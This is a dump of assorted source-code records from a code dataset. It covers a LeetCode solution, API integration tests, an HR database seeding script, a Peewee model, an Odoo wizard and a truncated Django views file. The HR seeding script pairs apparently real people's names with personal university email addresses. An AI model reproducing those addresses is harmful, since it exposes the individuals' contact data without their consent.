+{"seq_id":"527380623","text":"\"\"\"\n给出矩阵 matrix 和目标值 target,返回元素总和等于目标值的非空子矩阵的数量。\n\n子矩阵 x1, y1, x2, y2 是满足 x1 <= x <= x2 且 y1 <= y <= y2 的所有单元 matrix[x][y] 的集合。\n\n如果 (x1, y1, x2, y2) 和 (x1', y1', x2', y2') 两个子矩阵中部分坐标不同(如:x1 != x1'),那么这两个子矩阵也不同。\n\n \n\n示例 1:\n\n输入:matrix = [[0,1,0],[1,1,1],[0,1,0]], target = 0\n输出:4\n解释:四个只含 0 的 1x1 子矩阵。\n示例 2:\n\n输入:matrix = [[1,-1],[-1,1]], target = 0\n输出:5\n解释:两个 1x2 子矩阵,加上两个 2x1 子矩阵,再加上一个 2x2 子矩阵。\n \n\n提示:\n\n1 <= matrix.length <= 300\n1 <= matrix[0].length <= 300\n-1000 <= matrix[i] <= 1000\n-10^8 <= target <= 10^8\n通过次数2,529提���次数5,140\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/number-of-submatrices-that-sum-to-target\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\"\"\"\n\nfrom typing import *\n\n\nclass Solution:\n # def calcMatrixSum(self, matrix: List[List[int]]):\n # height, length = len(matrix), len(matrix[0])\n # sum_record = [[0 for _ in range(length)] for _ in range(height)]\n # sum_record[0][0] = matrix[0][0]\n # for i in range(1, length):\n # sum_record[0][i] = sum_record[0][i - 1] + matrix[0][i]\n # for j in range(1, height):\n # sum_record[j][0] = sum_record[j - 1][0] + matrix[j][0]\n #\n # for i in range(1, height):\n # for j in range(1, length):\n # sum_record[i][j] = sum_record[i - 1][j] + sum_record[i][j - 1] - sum_record[i - 1][j - 1] + matrix[i][j]\n #\n # return sum_record\n #\n # def numSubmatrixSumTarget(self, matrix: List[List[int]], target: int) -> int:\n # sum_record = self.calcMatrixSum(matrix)\n # height, length, count = len(matrix), len(matrix[0]), 0\n #\n # for i in range(0, height):\n # for j in range(0, length):\n # for m in range(i, height):\n # for n in range(j, length):\n # a = sum_record[m][n]\n # b = sum_record[m][j-1] if j>0 else 0\n # c = sum_record[i-1][n] if i>0 else 0\n # d = sum_record[i-1][j-1] if i>0 and j>0 else 0\n # cur_sum = a - b - c + d\n # # if i == m and j == n:\n # # cur_sum = matrix[i][j]\n # # elif i == m:\n # # cur_sum = sum_record[m][n] -\n # # cur_sum = sum_record[m][n] - sum_record[m][j] - sum_record[i][n] + sum_record[i][j]\n # if cur_sum == target:\n # print(\"({}, {})->({}, {})\".format(i, j, m, n))\n # count += 1\n # return count\n\n def calcMatrixPreSum(self, matrix: List[List[int]]):\n height, length = len(matrix), len(matrix[0])\n sum_record = [[0 for _ in range(length)] for _ in range(height)]\n for j in range(length):\n sum_record[0][j] = matrix[0][j]\n\n for i in range(1, height):\n for j in range(length):\n sum_record[i][j] = sum_record[i-1][j] + matrix[i][j]\n\n return sum_record\n\n def subarraySum(self, nums: List[int], k: int) -> int:\n presum, count, pre = dict(), 0, 0\n presum[pre] = 1\n for i in range(len(nums)):\n pre += nums[i]\n if pre - k in presum:\n count += presum[pre - k]\n presum[pre] = presum.get(pre, 0) + 1\n return count\n\n def numSubmatrixSumTarget(self, matrix: List[List[int]], target: int) -> int:\n sum_record = self.calcMatrixPreSum(matrix)\n height, length, count = len(matrix), len(matrix[0]), 0\n\n for i in range(height):\n for j in range(i, height):\n if i == j:\n nums = matrix[i]\n elif i == 0:\n nums = sum_record[j]\n else:\n nums = [sum_record[j][col] - sum_record[i-1][col] for col in range(length)]\n count += self.subarraySum(nums, target)\n\n return count\n\n\nif __name__=='__main__':\n s = Solution()\n print(s.numSubmatrixSumTarget([[0,1,0],[1,1,1],[0,1,0]], 0))","sub_path":"1074_numSubmatrixSumTarget.py","file_name":"1074_numSubmatrixSumTarget.py","file_ext":"py","file_size_in_byte":4429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"313146807","text":"# Copyright 2018 Contributors to Hyperledger Sawtooth\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# -----------------------------------------------------------------------------\n\"\"\"Integration tests for pack APIs\"\"\"\nimport requests\nfrom tests.utilities import (\n create_test_user,\n delete_user_by_username,\n delete_role_by_name,\n delete_pack_by_name,\n)\n\n\ndef create_fake_pack(session, user_id, role_id):\n \"\"\"Create a new fake pack resource\"\"\"\n pack_resource = {\"name\": \"My Pack\", \"owners\": user_id, \"roles\": role_id}\n session.post(\"http://rbac-server:8000/api/packs\", json=pack_resource)\n\n\ndef create_fake_role(session, user_id):\n \"\"\"Create a new fake role resource\"\"\"\n role_resource = {\"name\": \"Manager\", \"owners\": user_id, \"administrators\": user_id}\n response = session.post(\"http://rbac-server:8000/api/roles\", json=role_resource)\n return response\n\n\ndef test_create_duplicate_pack():\n \"\"\"Create a new fake role resource\"\"\"\n with requests.Session() as session:\n user_payload = {\n \"name\": \"Susan Susanson\",\n \"username\": \"susan21\",\n \"password\": \"123456\",\n \"email\": \"susan@biz.co\",\n }\n user_response = create_test_user(session, user_payload)\n user_id = user_response.json()[\"data\"][\"user\"][\"id\"]\n role_response = create_fake_role(session, user_id)\n role_id = role_response.json()[\"data\"][\"id\"]\n create_fake_pack(session, user_id, role_id)\n pack_resource = {\"name\": \"My Pack\", \"owners\": user_id, \"roles\": role_id}\n response = session.post(\"http://rbac-server:8000/api/packs\", json=pack_resource)\n assert (\n response.json()[\"message\"]\n == \"Error: Could not create this pack because the pack name already exists.\"\n )\n assert response.json()[\"code\"] == 400\n delete_user_by_username(\"susan21\")\n delete_role_by_name(\"Manager\")\n delete_pack_by_name(\"My Pack\")\n\n\ndef test_duplicate_pack_with_spaces():\n \"\"\"Create a new fake role resource with varying spaces in between the name\"\"\"\n with requests.Session() as session:\n user_payload = {\n \"name\": \"Susan Susanson\",\n \"username\": \"susan21\",\n \"password\": \"123456\",\n \"email\": \"susan@biz.co\",\n }\n user_response = create_test_user(session, user_payload)\n user_id = user_response.json()[\"data\"][\"user\"][\"id\"]\n role_response = create_fake_role(session, user_id)\n role_id = role_response.json()[\"data\"][\"id\"]\n create_fake_pack(session, user_id, role_id)\n pack_resource = {\n \"name\": \" My Pack \",\n \"owners\": user_id,\n \"roles\": role_id,\n }\n response = session.post(\"http://rbac-server:8000/api/packs\", json=pack_resource)\n assert (\n response.json()[\"message\"]\n == \"Error: Could not create this pack because the pack name already exists.\"\n )\n assert response.json()[\"code\"] == 400\n delete_user_by_username(\"susan21\")\n delete_role_by_name(\"Manager\")\n delete_pack_by_name(\"My Pack\")\n","sub_path":"tests/integration/server/pack_api_test.py","file_name":"pack_api_test.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"243331700","text":"from sqlalchemy import create_engine, Column, Integer, String, Boolean, Date, ForeignKey\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker, relationship, class_mapper\nimport logging\nimport random\n\nlogging.basicConfig(filename='./log.txt', format='%(asctime)s :: %(name)s :: %(message)s')\nlogger = logging.getLogger(__name__)\n\nlogger.info(\"Creating database.\")\n\npassword_file = open(\"pass.txt\", 'r')\npassword = password_file.read().strip()\npassword_file.close()\n\nfile_name = \"hr.myd\"\nengine = create_engine('mysql+mysqldb://root:' + password + '@localhost/343DB', echo=True)\nengine.connect()\nBase = declarative_base()\n\nlogger.info(\"Database Created.\")\n\n\nclass Employee(Base):\n __tablename__ = 'employee'\n id = Column(Integer, primary_key=True)\n is_active = Column(Boolean)\n last_name = Column(String(25))\n first_name = Column(String(25))\n email = Column(String(50))\n birth_date = Column(Date)\n start_date = Column(Date)\n orders = Column(Integer)\n phones = Column(Integer)\n\n # This allows for reference to this employee's details without extra searching\n addresses = relationship(\"Address\", back_populates=\"employee\", cascade=\"all, delete-orphan\", passive_deletes=True)\n titles = relationship(\"Title\", back_populates=\"employee\", cascade=\"all, delete-orphan\", passive_deletes=True)\n departments = relationship(\"Department\", back_populates=\"employee\", cascade=\"all, delete-orphan\", passive_deletes=True)\n salary = relationship(\"Salary\", back_populates=\"employee\", cascade=\"all, delete-orphan\", passive_deletes=True)\n\n def __repr__(self):\n return \"
\" % (self.id, self.is_active, self.amount)\n\n def to_str(self):\n return self.amount\n\n\nclass Address(Base):\n __tablename__ = 'address'\n id = Column(Integer, primary_key=True)\n is_active = Column(Boolean)\n street_address = Column(String(50))\n city = Column(String(25))\n state = Column(String(25))\n zip = Column(String(5))\n start_date = Column(Date)\n\n # Allows for reference to the employee object without search\n employee_id = Column(Integer, ForeignKey(Employee.id, ondelete='CASCADE'))\n employee = relationship(\"Employee\", back_populates=\"addresses\")\n\n def __repr__(self):\n return \"\" % (self.id, self.is_active, self.employee_id, self.street_address,\n self.city, self.state, self.zip, self.start_date)\n\n def to_str(self):\n return \"%s, %s, %s %s\" % (self.street_address, self.city, self.state, self.zip)\n\n\nclass Title(Base):\n __tablename__ = 'title'\n id = Column(Integer, primary_key=True)\n is_active = Column(Boolean)\n name = Column(String(25))\n start_date = Column(Date)\n\n # Allows for reference to the employee object without search\n employee_id = Column(Integer, ForeignKey(Employee.id, ondelete='CASCADE'))\n employee = relationship(\"Employee\", back_populates=\"titles\")\n\n def __repr__(self):\n return \"\" % (self.id, self.employee_id, self.is_active, self.name, self.start_date)\n\n def to_str(self):\n return \"%s\" % self.name\n\n\nclass Department(Base):\n __tablename__ = 'department'\n id = Column(Integer, primary_key=True)\n is_active = Column(Boolean)\n start_date = Column(Date)\n name = Column(String(25))\n\n # Allows for reference to the employee object without search\n employee_id = Column(Integer, ForeignKey(Employee.id, ondelete='CASCADE'))\n employee = relationship(\"Employee\", back_populates=\"departments\")\n\n def __repr__(self):\n return \"\" % (self.id, self.employee_id, self.start_date, self.is_active, self.name)\n\n def to_str(self):\n return \"%s\" % self.name\n\n\ndef create_session():\n return sessionmaker(bind=engine)()\n\n\ndef default_info():\n Base.metadata.create_all(engine)\n\n import datetime\n\n session = create_session()\n\n names = [(\"Joseph\", \"Campione\", \"Sales\", \"Developer\"), (\"Matthew\", \"Chickering\", \"Manufacturing\", \"Developer\"),\n (\"Thomas\", \"DiMauro\", \"Inventory\", \"Developer\"), (\"Daniel\", \"Fehrenbach\", \"Human Resources\", \"Developer\"),\n (\"Daniel\", \"Fisher\", \"Customer Support\", \"Developer\"), (\"Samuel\", \"Friedman\", \"Human Resources\", \"Developer\"),\n (\"Joseph\", \"Gambino\", \"Manufacturing\", \"Developer\"), (\"Alexander\", \"Garrity\", \"Accounting\", \"Developer\"),\n (\"Quentin\", \"Goyert\", \"Manufacturing\", \"Developer\"), (\"Luke\", \"Harrold\", \"Inventory\", \"Developer\"),\n (\"George\", \"Herde\", \"Accounting\", \"Developer\"), (\"Paul\", \"Hulbert\", \"Human Resources\", \"Developer\"),\n (\"Joseph\", \"Jankowiak\", \"Sales\", \"Developer\"), (\"Laura\", \"King\", \"Inventory\", \"Developer\"),\n (\"Melissa\", \"Laskowski\", \"Customer Support\", \"Developer\"), (\"Cailin\", \"Li\", \"Sales\", \"Developer\"),\n (\"Rafael\", \"Lopez\", \"Manufacturing\", \"Developer\"), (\"Junwen\", \"Mai\", \"Inventory\", \"Developer\"),\n (\"Corban\", \"Mailloux\", \"Customer Support\", \"Developer\"), (\"Shannon\", \"McIntosh\", \"Accounting\", \"Developer\"),\n (\"Joshua\", \"Miller\", \"Accounting\", \"Developer\"), (\"Samuel\", \"Mosher\", \"Inventory\", \"Developer\"),\n (\"Justin\", \"Nietzel\", \"Sales\", \"Developer\"), (\"Nathan\", \"Oesterle\", \"Human Resources\", \"Developer\"),\n (\"Johnathan\", \"Sellers\", \"Manufacturing\", \"Developer\"), (\"Nicholas\", \"Swanson\", \"Sales\", \"Developer\"),\n (\"William\", \"Tarr\", \"Accounting\", \"Developer\"), (\"Jeremy\", \"Vargas\", \"Human Resources\", \"Developer\"),\n (\"Bryon\", \"Wilkins\", \"Customer Support\", \"Developer\"), (\"Eric\", \"Yoon\", \"Customer Support\", \"Developer\"),\n (\"Daniel\", \"Krutz\", \"Board\", \"Board\"), (\"Silva\", \"Matti\", \"Board\", \"Board\")]\n\n employee_count = 0\n\n for name in names:\n email = \"{0}.{1}@krutz.site\".format(name[0], name[1])\n if name[1] == \"Friedman\":\n email = \"srf1115@g.rit.edu\"\n elif name[1] == \"Hulbert\":\n email = \"pxh8242@g.rit.edu\"\n elif name[1] == \"Mailloux\":\n email = \"cdm3806@g.rit.edu\"\n elif name[1] == \"Campione\":\n email = \"jxc4577@g.rit.edu\"\n elif name[1] == \"Herde\":\n email = \"gh1823@g.rit.edu\"\n elif name[1] == \"King\":\n email = \"lxk3301@g.rit.edu\"\n elif name[1] == \"Sellers\":\n email = \"jrs9025@g.rit.edu\"\n elif name[1] == \"Krutz\":\n email = \"dxkvse@g.rit.edu\"\n elif name[1] == \"Matti\":\n email = \"sxm4161@g.rit.edu\"\n elif name[1] == \"Li\":\n email = \"cxl2467@g.rit.edu\"\n elif name[1] == \"Laskowski\":\n email = \"mxl7583@g.rit.edu\"\n elif name[1] == \"Goyert\":\n email = \"qrg1496@g.rit.edu\"\n elif name[1] == \"Mosher\":\n email = \"sam1360@g.rit.edu\"\n elif name[1] == \"Tarr\":\n email = \"wet1177@g.rit.edu\"\n employee = Employee(is_active=True, first_name=name[0], last_name=name[1], email=email, phones=0, orders=0,\n birth_date=datetime.date(1992, 2, 12), start_date=datetime.date(2017, 1, 23))\n\n salary = 0\n if name[2] != \"Board\":\n salary = random.SystemRandom().randint(50000, 100000)\n\n session.add(employee)\n session.add(Address(is_active=True, street_address=str(employee_count) + \" Lomb Memorial Drive\", city=\"Rochester\",\n state=\"New York\", zip=\"14623\", start_date=datetime.date(2017, 1, 23), employee=employee))\n session.add(Title(is_active=True, name=name[3], start_date=datetime.date(2017, 1, 23), employee=employee))\n session.add(Department(is_active=True, start_date=datetime.date(2017, 1, 23), name=name[2],\n employee=employee))\n session.add(Salary(is_active=True, amount=salary, employee=employee))\n session.commit()\n\n employee_count += 1\n\n\ndef serialize(model):\n \"\"\"Transforms a model into a dictionary which can be dumped to JSON.\"\"\"\n # first we get the names of all the columns on your model\n columns = [c.key for c in class_mapper(model.__class__).columns]\n # then we return their values in a dict\n return dict((c, getattr(model, c)) for c in columns)\n\nlogger.warning(\"Added default objects to database.\")\nprint(\"Added all objects to database.\")\n\nif __name__ == \"__main__\":\n # Populate database if it is empty. Set this to true to repopulate\n if True:\n default_info()\n","sub_path":"hr/databasesetup.py","file_name":"databasesetup.py","file_ext":"py","file_size_in_byte":9664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"145775082","text":"def getdate():\n import datetime\n x = str(datetime.datetime.now())\n return x\n\n\ndef exercise():\n exe = input(\"Which exercise have you taken?\\n\")\n return exe\n\n\ndef diet():\n die = input(\"Which food have you taken?\\n\")\n return die\n\n\ndef diet_or_exercise():\n j = 1\n while j <= 5:\n x = input(\"What do you want for lock?\\n\"\n \"1 for Diet\\n\"\n \"2 for Exercise\\n\")\n if x == \"1\":\n eat = input(\"What do you eat?\\n\")\n return eat\n else:\n print(x)\n print(f' You have {5 - j} term left')\n j = j + 1\n\n # i = 1\n # while i < 5:\n\n\ndef person():\n perso = str(input(\"Which one do you want to lock?\\n\"\n \"1 for Jubayer\\n\"\n \"2 for Anamul\\n\"\n \"3 for Shrabon\\n\"))\n return perso\n\n\ni = 1\nwhile i <= 5:\n per2 = person()\n if per2 in [\"1\", \"2\", \"3\"]:\n\n v = diet_or_exercise()\n if v:\n with open(\"Jubayer.txt\", \"a\") as f:\n a = \"[\" + getdate() + \"]\" + \" \" + v + \"\\n\"\n f.write(a)\n break\n else:\n print(f'Try again'\n f'You have {5 - i} chance')\n i = i + 1\n","sub_path":"raf4.py","file_name":"raf4.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"572598514","text":"#! /user/bin/env python\n\nimport os\nimport sys\nimport xlrd\n\n\n\n\ndef create_plotdata(kernel_name, wb_name, ws_name):\n\t\n\twb = xlrd.open_workbook(wb_name)\n\tws = wb.sheet_by_name(ws_name)\n\n\tblock_size = []\n\ttpb = []\n\ttotal_threads = []\n\tipc = []\n\tipc2 = []\n\n\twith open('../plots/' + kernel_name + '.csv', 'w') as f:\n\t\t\n\t\t# print header\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tIPC/EU GEN', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tGPU Power (pkg – pp0 – dram) (OCL_TIMER)', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tGPU Power', file=f)\n\t\tprint('#block size\\tthreads per block\\tTotal threads\\tTheoretical FLOP/cycle', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tC instructions per cycle', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tGFLOP/s/w', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tTheoretical GFLOP/s', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tTheoretical bandwidth read+write (GB/s)', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tFLOP/cy (using C instructions)', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tBandwidth/EU Read (bytes/cy)\\tBandwidth/EU Read (GB/s)', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tBandwidth/EU Read (bytes/cy)\\tTheoretical bandwidth', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tBandwidth/EU Read (bytes/cy)\\tTheoretical bandwidth read+write (GB/s)', file=f)\n\t\t#print('#block size\\tthreads per block\\tTotal threads\\tBandwidth/EU Read (bytes/cy)\\tBandwidth/EU Read (GB/s)', file=f)\n\t\t#print(kernel_name + '\\t' + '#block size\\tthreads per block\\tTotal threads\\tGPU Power (pkg – pp0 – dram) (OCL_TIMER)')\n\t\t\n\t\tnrows = ws.nrows\n\t\tncols = ws.ncols\n\t\t\n\t\tfor i in range(nrows):\n\t\t\tif i==0: continue\t# skip first row\n\t\t\tfor j in range(ncols):\n\t\t\t\tif j==0:\t# skip to next line if wrong kernel\n\t\t\t\t\tkernel = ws.cell_value(i,j)\n\t\t\t\t\tif kernel != kernel_name:\n\t\t\t\t\t\tbreak\n\t\t\t\telif ws.cell_value(0,j) == \"block size\":\n\t\t\t\t\tblock_size.append(ws.cell_value(i,j))\n\t\t\t\telif ws.cell_value(0,j) == \"threads per block\":\n\t\t\t\t\ttpb.append(ws.cell_value(i,j))\n\t\t\t\telif ws.cell_value(0,j) == \"Total threads\":\n\t\t\t\t\ttotal_threads.append(ws.cell_value(i,j))\n\t\t\t\t#elif ws.cell_value(0,j) == \"IPC/EU (using GEN instructions)\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"GPU Power (pkg – pp0 – dram) (OCL_TIMER)\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"GPU Power\":\n\t\t\t\telif ws.cell_value(0,j) == \"Theoretical FLOP/cycle\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"C instructions per cycle\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"GFLOP/s/w\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"Theoretical bandwidth read+write (GB/s)\":\n\t\t\t\t#elif ws.cell_value(0,j) == \"Theoretical GFLOP/s\":\n\t\t\t\t\tipc.append(ws.cell_value(i,j))\n\t\t\t\t#elif ws.cell_value(0,j) == \"Bandwidth/EU Read (GB/s)\":\n\t\t\t\t\t#ipc2.append(ws.cell_value(i,j))\n\t\t\t\telse:\n\t\t\t\t\tcontinue\n\n\t\tfor i in range(len(tpb)):\n\t\t\tprint(str(block_size[i]) + '\\t', file=f, end='')\n\t\t\tprint(str(tpb[i]) + '\\t', file=f, end='')\n\t\t\tprint(str(total_threads[i]) + '\\t', file=f, end='')\n\t\t\tprint(str(ipc[i]) + '\\t', file=f, end='')\n\t\t\t#print(str(ipc2[i]) + '\\t', file=f, end='')\n\t\t\tprint('\\n', file=f, end='')\n\t\t\t#print(kernel_name + '\\t' + str(block_size[i]) + '\\t' + str(tpb[i]) + '\\t' + str(total_threads[i]) + '\\t' + str(ipc[i]) + '\\t')\n\t\n\t\n\t\ndef create_plotdata_all_simd(kernel_name, wb_name, ws_name):\n\tif 'scalar' in kernel_name:\n\t\tkernel_name_scalar = kernel_name\n\t\tkernel_name_vect2 = kernel_name.replace('scalar', 'vect2')\n\t\tkernel_name_vect4 = kernel_name.replace('scalar', 'vect4')\n\t\tkernel_name_vect8 = kernel_name.replace('scalar', 'vect8')\n\t\tkernel_name_vect16 = kernel_name.replace('scalar', 'vect16')\n\t\tcreate_plotdata(kernel_name_scalar, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_vect2, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_vect4, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_vect8, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_vect16, wb_name, ws_name)\n\telse:\n\t\tprint('Could not find \\'scalar\\' in kernel name.')\n\t\tsys.exit()\n\t\n\t\n\t\ndef create_plotdata_all_ops(kernel_name, wb_name, ws_name):\n\tif 'add' in kernel_name:\n\t\tkernel_name_add = kernel_name\n\t\tkernel_name_sub = kernel_name.replace('add', 'sub')\n\t\tkernel_name_mul = kernel_name.replace('add', 'mul')\n\t\tkernel_name_div = kernel_name.replace('add', 'div')\n\t\tkernel_name_mad = kernel_name.replace('add', 'mad')\n\t\tcreate_plotdata(kernel_name_add, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_sub, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_mul, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_div, wb_name, ws_name)\n\t\tcreate_plotdata(kernel_name_mad, wb_name, ws_name)\n\telse:\n\t\tprint('Could not find \\'add\\' in kernel name.')\n\t\tsys.exit()\n\t\t\t\n\t\t\t\n\t\ndef create_plotdata_all_simd_all_ops(kernel_name, wb_name, ws_name):\n\tsimd = ['scalar', 'vect2', 'vect4', 'vect8', 'vect16']\n\tops = ['add', 'sub', 'mul', 'div', 'mad']\n\tkernel_names = []\n\tfor s in simd:\n\t\tfor o in ops:\n\t\t\tkernel_name_temp = kernel_name.replace('scalar', s)\n\t\t\tkernel_name_temp = kernel_name_temp.replace('add', o)\n\t\t\tkernel_names.append(kernel_name_temp)\n\t#print('\\n'.join(kernel_names))\n\tfor k in kernel_names:\n\t\tcreate_plotdata(k, wb_name, ws_name)\n\n\n\nif len(sys.argv) < 3:\n\tprint('Usage: summary2plotdata.py [--all-ops] [--all-simd]')\n\tsys.exit()\n\t\nkernel_name = sys.argv[1]\nwb_name = sys.argv[2]\nws_name = sys.argv[3]\n\nif len(sys.argv) > 5 and '--all-ops' in sys.argv and '--all-simd' in sys.argv:\n\tcreate_plotdata_all_simd_all_ops(kernel_name, wb_name, ws_name)\nelif len(sys.argv) > 4 and '--all-ops' in sys.argv:\n\tcreate_plotdata_all_ops(kernel_name, wb_name, ws_name)\nelif len(sys.argv) > 4 and '--all-simd' in sys.argv:\n\tcreate_plotdata_all_simd(kernel_name, wb_name, ws_name)\nelse:\n\tcreate_plotdata(kernel_name, wb_name, ws_name)\n","sub_path":"summaries/summary2plotdata.py","file_name":"summary2plotdata.py","file_ext":"py","file_size_in_byte":5892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"542860139","text":"\"\"\"\n Simple database example with Peewee ORM, sqlite and Python\n Here we define the schema\n Use logging for messages so they can be turned off\n\n\"\"\"\nimport logging\nfrom peewee import SqliteDatabase, Model, CharField, IntegerField\n# noqa # pylint: disable=too-few-public-methods\n\nlogging.basicConfig(level=logging.INFO)\nLOGGER = logging.getLogger(__name__)\n\nLOGGER.info('Here we define our data (the schema)')\nLOGGER.info('The next 3 lines of code are the only database specific code')\n\nDATABASE = SqliteDatabase('customer.db')\nDATABASE.connect()\nDATABASE.execute_sql('PRAGMA foreign_keys = ON;') # needed for sqlite only\n\n\nLOGGER.info('This means we can easily switch to a different database')\nLOGGER.info('Enable the Peewee magic! This base class does it all')\n\n\nclass BaseModel(Model):\n \"\"\"\n This class defines the DATABASE\n \"\"\"\n class Meta:\n \"\"\"\n This class defines the DATABASE\n \"\"\"\n database = DATABASE\n\nLOGGER.info('By inheritance only we keep our model \\\n (almost) technology neutral')\n\n\nclass Customer(BaseModel):\n \"\"\"\n This class defines Customer which store customer data from HP Norton.\n \"\"\"\n LOGGER.info('Note how we defined the class')\n\n LOGGER.info('Specify the fields in our model, their lengths and if mandatory')\n LOGGER.info('Must be a unique identifier for each person')\n\n id = IntegerField(primary_key=True)\n name = CharField(max_length=30)\n last_name = CharField(max_length=30)\n home_address = CharField(max_length=30)\n phone_number = CharField(max_length=30)\n email = CharField(max_length=30, null=True)\n status = CharField(max_length=30)\n credit_limit = IntegerField()\n","sub_path":"students/ethan_nguyen/Lesson04/customer_model.py","file_name":"customer_model.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"207579975","text":"from pyvista import examples\ntexture = examples.download_puppy_texture()\ntexture\n# Expected:\n## Texture (...)\n## Components: 3\n## Cube Map: False\n## Dimensions: 1600, 1200\ntexture.to_array().shape\n# Expected:\n## (1200, 1600, 3)\ntexture.to_array().dtype\n# Expected:\n## dtype('uint8')\n","sub_path":"version/0.40/api/core/_autosummary/pyvista-Texture-to_array-1.py","file_name":"pyvista-Texture-to_array-1.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"351122428","text":"# -*- coding: utf-8 -*-\nimport time\n\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import UserError\n\n\nclass IBASSaleAdvancePaymentInv(models.TransientModel):\n _inherit = 'sale.advance.payment.inv'\n\n def _create_invoice(self, order, so_line, amount):\n invoice_vals = super(IBASSaleAdvancePaymentInv,\n self)._create_invoice(order, so_line, amount)\n\n invoice_vals.update({\n 'unit_id': order.unit_id.id,\n 'invoice_date': order.date_order,\n 'invoice_date_due': order.date_order,\n })\n return invoice_vals\n","sub_path":"ibas_realestate/wizard/sale_make_invoice_advance.py","file_name":"sale_make_invoice_advance.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"277824034","text":"# coding: UTF-8\r\n# Create your views here.\r\nfrom django.http import HttpResponseRedirect\r\nfrom django.http import HttpResponse\r\n\r\n#from django import forms\r\nfrom django.db.models.fields import BLANK_CHOICE_DASH, BLANK_CHOICE_NONE\r\nimport models as m\r\n#from m import Doc, Task\r\nfrom django.contrib import auth\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib.auth.models import User, Group\r\nfrom django.shortcuts import render_to_response\r\nfrom django.shortcuts import redirect\r\nfrom django.core.context_processors import csrf\r\nfrom django.template import RequestContext\r\nfrom django.views.generic.list_detail import object_list, object_detail\r\nfrom django.template import Context, Template\r\nfrom django.contrib.admin.widgets import AdminDateWidget\r\n\r\n# для фильтра в списке задач и даты в шапке\r\nfrom vctasks.util import CurDate, FilterIndicator\r\nfrom django.core.urlresolvers import reverse\r\n\r\nfrom datetime import date\r\nfrom django.core.files import File\r\nfrom django.core.servers.basehttp import FileWrapper\r\nfrom vctasks.addtask.forms import SetFilterForm, ExecuteTaskForm, AppointTaskForm,AddTaskForm,\\\r\n AddFileForm, TaskForm, TaskFormManager, TaskFormCustomer,\\\r\n TaskSearchForm, ChangePasswordForm\r\nfrom django.db.models import Q\r\n\r\nimport settings\r\n\r\nfrom vctasks.secutil import get_task, get_task_filtered, get_filtered_tasklist, InvalidTaskId, TaskAccessDenied, TaskNotExists\r\n\r\n# 04.12.2012 - перенос инициализации даты откр-я из models во views\r\n\r\n@login_required\r\ndef find_task(request):\r\n if request.method=='POST':\r\n if request.POST['id']:\r\n try: task = get_task_filtered(request.user, request.POST['id'])\r\n except (InvalidTaskId):\r\n return HttpResponse(u'Неверный ID. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskNotExists):\r\n return HttpResponse(u'Не существует Заявки. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except TaskAccessDenied:\r\n return HttpResponse(u'Недостаточно прав для открытия заявки.') \r\n return redirect('/taskdetail/' + request.POST['id'] + '/')\r\n return HttpResponse(u'Номер заявки не задан.')\r\n return HttpResponse(u'Номер заявки не задан.')\r\n\r\n@login_required\r\ndef serve_base_file(request):\r\n \"\"\"\r\n Выполняет download файла, имя (URL) которого передано через параметр 'fname'\r\n запросом GET\r\n \r\n Файл загружается, если:\r\n 1. или текущий юзер является манагером либо заявителем либо исполнителем по\r\n соотв. таскам\r\n \"\"\"\r\n # Выбираем имя файла\r\n fname = ''\r\n if request.method=='GET':\r\n fname = request.GET.get('fname')\r\n else:\r\n return HttpResponse(u'Неверно передано имя файла.')\r\n if fname=='':\r\n return HttpResponse(u'Неверно передано имя файла.')\r\n docs = 